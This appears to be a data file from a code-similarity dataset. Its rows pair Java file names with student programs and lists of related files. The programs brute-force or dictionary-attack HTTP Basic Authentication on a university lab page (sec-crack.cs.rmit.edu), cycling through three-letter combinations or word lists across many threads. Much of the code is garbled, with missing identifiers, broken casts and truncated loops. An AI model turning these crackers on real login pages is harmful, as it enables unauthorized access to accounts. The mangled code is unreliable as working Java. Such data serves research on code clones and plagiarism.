""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; MINCHAR = 1; MAXCHAR = 3; if (args.length==0) { args = new String[6]; args[0] = String.valueOf(1); args[1] = THEURL; args[2] = ""-""; args[3] = String.valueOf(MINCHAR); args[4] = String.valueOf(MAXCHAR); args[5] = USERNAME; } paramCheck(args); countIdxLimit(); Application = new BruteForce(); } public static BruteForce Application; public static String THEURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; public static boolean isenhanced; public static String passw = """"; public static final int REPORT_INTERVAL = 10; public static int MAXTHREAD = 50; public static int MAXCONN = 50; public static int curconn = 0; public static int success = -1; public static String USERNAME = """"; public static int MINCHAR; public static int MAXCHAR; public static int ALLCOMBI; public static int start ,end; public static java.util.Timer reportTimer; public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; public static boolean connused[] = new boolean[MAXCONN]; public ThCrack[] threads = new ThCrack[MAXTHREAD]; public static int attempt = 0; public static int idxLimit; public static String charset; public static int NCHAR; } " 064.java 086.java "import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; int attempts = 0; exit: for (int i=0;i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " "242.java 222.java" 047.java "import java.io.*; import java.net.*; import java.text.*; import java.util.*; class Dictionary { private String password=""""; private int num=401; public static void main(String[] args) { Dictionary URLcon; int length = 0; String passwd=""""; int t0,t1; String line =""""; if (args.length == 0) { System.err.println ( ""Usage : java BruteForce ""); return; } String username = args[0]; t0=System.currentTimeMillis(); System.out.println ("" "" + new Date()); System.out.println (""Using Dictionary method attack ""+username+""'s password. Please waiting.......""); try{ BufferedReader in = new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")); while ((passwd=in.readLine())!=null) { URLcon = new Dictionary (passwd,username); if ((URLcon.num)!=401) { t1=System.currentTimeMillis(); System.out.println(""The password: ""+ passwd); double dt =t1-t0; System.out.println(""It took ""+DecimalFormat.getInstance().format(dt/1000)+ "" seconds""); System.out.println (""Finish "" + new Date()); return; } } }catch (FileNotFoundException e){ System.out.println(e); }catch (IOException e){ System.out.println(e); } System.out.println("" not find the password""); } public Dictionary (String password,String username) { String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/"" ; try { String userPassword = username+"":""+password ; String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes()); URL url = new URL (urlString); HttpURLConnection uc = (HttpURLConnection) url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); url = uc.getResponseCode(); } catch(MalformedURLException e){ System.out.println(e); }catch(IOException e){ System.out.println(e); } } }" 045.java 258.java " import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " "257.java 048.java 185.java 059.java 183.java" 087.java "import java.net.*; import java.io.*; import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; File file = new File(""words""); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println(""Crrect password is: "" + inp[2]); System.out.println(""Number of attempts = "" + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println(""File not found: "" + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " "243.java 155.java 242.java" 183.java " import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; if (s.length() != 0) { char symbol = 'A'; login="":""; for(int i = 0; i < 3; i++) { symbol = (char)(57.0 * Math.random() + 65); if(symbol>90 && symbol<97){ i--; continue; } login=login+symbol; } ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+login); } public BruteForce() { super (""SEC-CRACK""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main(String args[]) { Frame f = new BruteForce(); f.setSize(300, 300); f.setVisible (true); } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " "051.java 185.java 048.java 258.java" 008.java " import java.io.*; import java.*; public class BruteForce { public static void main(String args[]) { String s = null; String basic_url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; String alphabets = new String(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); String password = null; int len = 0; int num_tries = 0; len = alphabets.length(); for (int i=0; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " "258.java 257.java 051.java 183.java" 084.java " import java.Thread; import java.io.*; import java.net.*; public class BruteForce extends Thread { final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'}; final static int SUCCESS=1, FAILED=0, UNKNOWN=-1; private static String host, path, user; private Socket target; private InputStream input; private OutputStream output; private byte[] data; private int threads, threadno, response; public static boolean solved = false; BruteForce parent; public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent) { super(); this.parent = parent; this.host = host; this.path = path; this.user = user; this.threads = threads; this.threadno = threadno; } public void run() { response = FAILED; int x = 0; starttime = System.currentTimeMillis(); for(int i=0; i ""); System.out.println("" arguments specified, using standard values.""); host = ""sec-crack.cs.rmit.edu.""; path = ""/SEC/2/index.php""; user = """"; } System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user); System.out.println(""Using "" + attackslaves.length + "" happy threads...""); parent = new BruteForce(host, path, user, 0, 0, null); for(int i=0; i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " "087.java 155.java 242.java" 094.java " import java.net.*; import java.io.*; public class BruteForce{ private String passwd = """"; private String command = """"; private BufferedReader in; private PrintWriter out; private int startTime = 0; private int endTime = 0; private int totalTimes = 0; private boolean bfind = false; private String str =""abcdefghlijkmnopqrstuvwxyz'ABCDEFGHLIJKMNOPQRSTUVWXYZ0123456789.""; public BruteForce(){} public void doRequest(){ startTime = System.currentTimeMillis(); for(int i=0; i < str.length(); i++){ if(bfind) break; for(int j=0; j < str.length(); j++){ if(bfind) break; for(int k=0; k < str.length(); k++){ if(bfind) break; passwd = String.valueOf(str.charAt(i))+ String.valueOf(str.charAt(j)) +String.valueOf(str.charAt(k)); connection(passwd); } } } if(!bfind){ for(int i = 0; i < str.length(); i++){ if(bfind) break; for(int j = 0; j Establishing a connection.""); Runtime runtime = Runtime.getRuntime(); Process p = runtime.exec(command); in = new BufferedReader(new InputStreamReader(p.getInputStream())); String inStr; while((inStr = in.readLine())!= null){ if(inStr.indexOf(""HTTP/1.1 200"") != -1 || inStr.indexOf(""HTTP/1.0 200"") != -1|| inStr.indexOf(""HTTP/1.1 404"") != -1 || inStr.indexOf(""HTTP/1.0 404"") != -1){ endTime = System.currentTimeMillis(); totalTimes = endTime - startTime; System.out.println(""\nBruteForce Crack PassWord successful! PassWord is "" + passwd); System.out.println(""Total Times is "" + totalTimes + "" milliSec""); System.out.println(""Writing it brutepswd.txt file\n""); out = new PrintWriter(new BufferedWriter(new FileWriter(""brutepswd.txt""))); out.println(""BruteForce Crack PassWord Successful! Total Times: "" + totalTimes + "" milliSec""); out.println(""Passwd: ""+ passwd); out.flush(); bfind = true; } out.print(); } in.print(); }catch(Exception e){System.out.println(e.getMessage());} } public String getAnyKey()throws Exception{ BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in)); String key= stdin.readLine(); return key; } public static void main (String []args){ BruteForce bf = new BruteForce(); System.out.println(""\n*******************************************""); System.out.println(""* *""); System.out.println(""* BruteForce Crack Passwd Program *""); System.out.println(""* --------------------------------- *""); System.out.println(""* Author: *""); System.out.println(""* *""); System.out.println(""*******************************************""); System.out.println(""\n BruteForce Crack Passwd Information:\n""); System.out.println(""--> UserName: ""); System.out.println(""--> MaxPasswdLength: 3""); System.out.println(""--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php""); System.out.println(""--> Alphabet: ""+ bf.str+""\n""); System.out.println(""==> Press Ctrl+C stop Crack\n""); System.out.print(""==> Press EnterKey : ""); try{ String key = bf.getAnyKey(); }catch(Exception e){System.out.println(e.getMessage());} bf.doRequest(); } }" 098.java 235.java " import java.io.*; import java.net.*; import java.util.*; import java.misc.BASE64Encoder; public class BruteForce { private String userId; private String password; private StringBuffer seed= new StringBuffer(""aaa""); private int tries = 1; public BruteForce() { Authenticator.setDefault (new MyAuthenticator()); } public String fetchURL (String urlString) { HttpURLConnection connection; StringBuffer sb = new StringBuffer(); Date startTime, endTime; int responseCode = -1; boolean retry = true; URL url; startTime = new Date(); System.out.println ("" time :"" + startTime); while (retry == true) { try { url = new URL (urlString); connection = (HttpURLConnection)url.openConnection(); setUserId(""""); setPassword(""rhk8611""); System.out.println(""Attempting get a response : "" +connection.getURL() ); responseCode = connection.getResponseCode(); System.out.print(responseCode + "" ""); if (responseCode == HttpURLConnection.HTTP_OK) { retry = false; System.out.println(""**** ACCESS GRANTED *****""); } else { retry = true; throw new IOException( ""HTTP response : "" + String.valueOf(responseCode) + ""\nResponse Message: "" +connection.getResponseMessage()); } InputStream content = (InputStream)url.getContent(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { sb.append(line); } } catch (MalformedURLException e) { retry=false; System.out.println (""Invalid URL"" + e.getMessage()); } catch (IOException e) { retry=true; connection = null; System.out.println (""Error URL \n"" + e.getMessage()); } } endTime = new Date(); System.out.print (""Total Time taken :"" + (endTime.getTime() - startTime.getTime())/1000*60 + "" Minutes ""); System.out.println ((endTime.getTime() - startTime.getTime())/1000 + "" Sec""); return sb.toString(); } public static void main (String args[]) { BruteForce myGenerator = new BruteForce(); System.out.println(""Starting seed is : ""+ myGenerator.getSeed() ); String pageFound = myGenerator.fetchURL(""http://sec-crack.cs.rmit.edu./SEC/2/""); System.out.println("" ACCESSED ->\n"" + pageFound); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { String username = getUserId(); String pass = getPassword(); if (pass.equals(""ZZZ"")) { System.out.println(""\nReached the end of combinations. EXITING.\n""); System.exit(0); } if ((tries % 8) == 0 ) { pass = """" + getNextPassword(); }else { pass = """"+ getNextPasswordCase(""""+getSeed(), tries%8); } tries ++; System.out.println(tries + "" Authenticating with -> "" + pass); return new PasswordAuthentication (username, pass.toCharArray()); } } public String getPassword() { return this.password; } public void setPassword(String password) { this.password = password; } public String getUserId() { return this.userId; } public void setUserId(String userId) { this.userId = userId; } public StringBuffer getNextPassword() { final int STRING_RADIX = 36; int changeDigit; int dig; char cdig; changeDigit = 2; if (getSeed().charAt(changeDigit) < 'z') { dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); dig = dig + 1; cdig = Character.forDigit(dig, STRING_RADIX); seed.setCharAt(changeDigit,cdig); } else { seed.setCharAt(2,'a'); changeDigit = 1; if (getSeed().charAt(changeDigit) < 'z') { dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); dig = dig + 1; cdig = Character.forDigit(dig, STRING_RADIX); seed.setCharAt(changeDigit,cdig); } else { seed.setCharAt(2,'a'); seed.setCharAt(1,'a'); changeDigit = 0; if (getSeed().charAt(changeDigit) < 'z') { dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); dig = dig + 1; cdig = Character.forDigit(dig, STRING_RADIX); seed.setCharAt(changeDigit,cdig); } } } return getSeed(); } private StringBuffer getNextPasswordCase(String pwd, int inx) { StringBuffer casePwd = new StringBuffer(pwd); char myChar; switch (inx) { case 1: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); break; case 2: myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); break; case 3: myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; case 4: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); break; case 5: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; case 6: myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; case 7: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; } return(casePwd); } public StringBuffer getSeed() { return this.seed; } public void setSeed(StringBuffer seed) { this.seed = seed; } } " 237.java 258.java " import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " "257.java 048.java 185.java 059.java 183.java"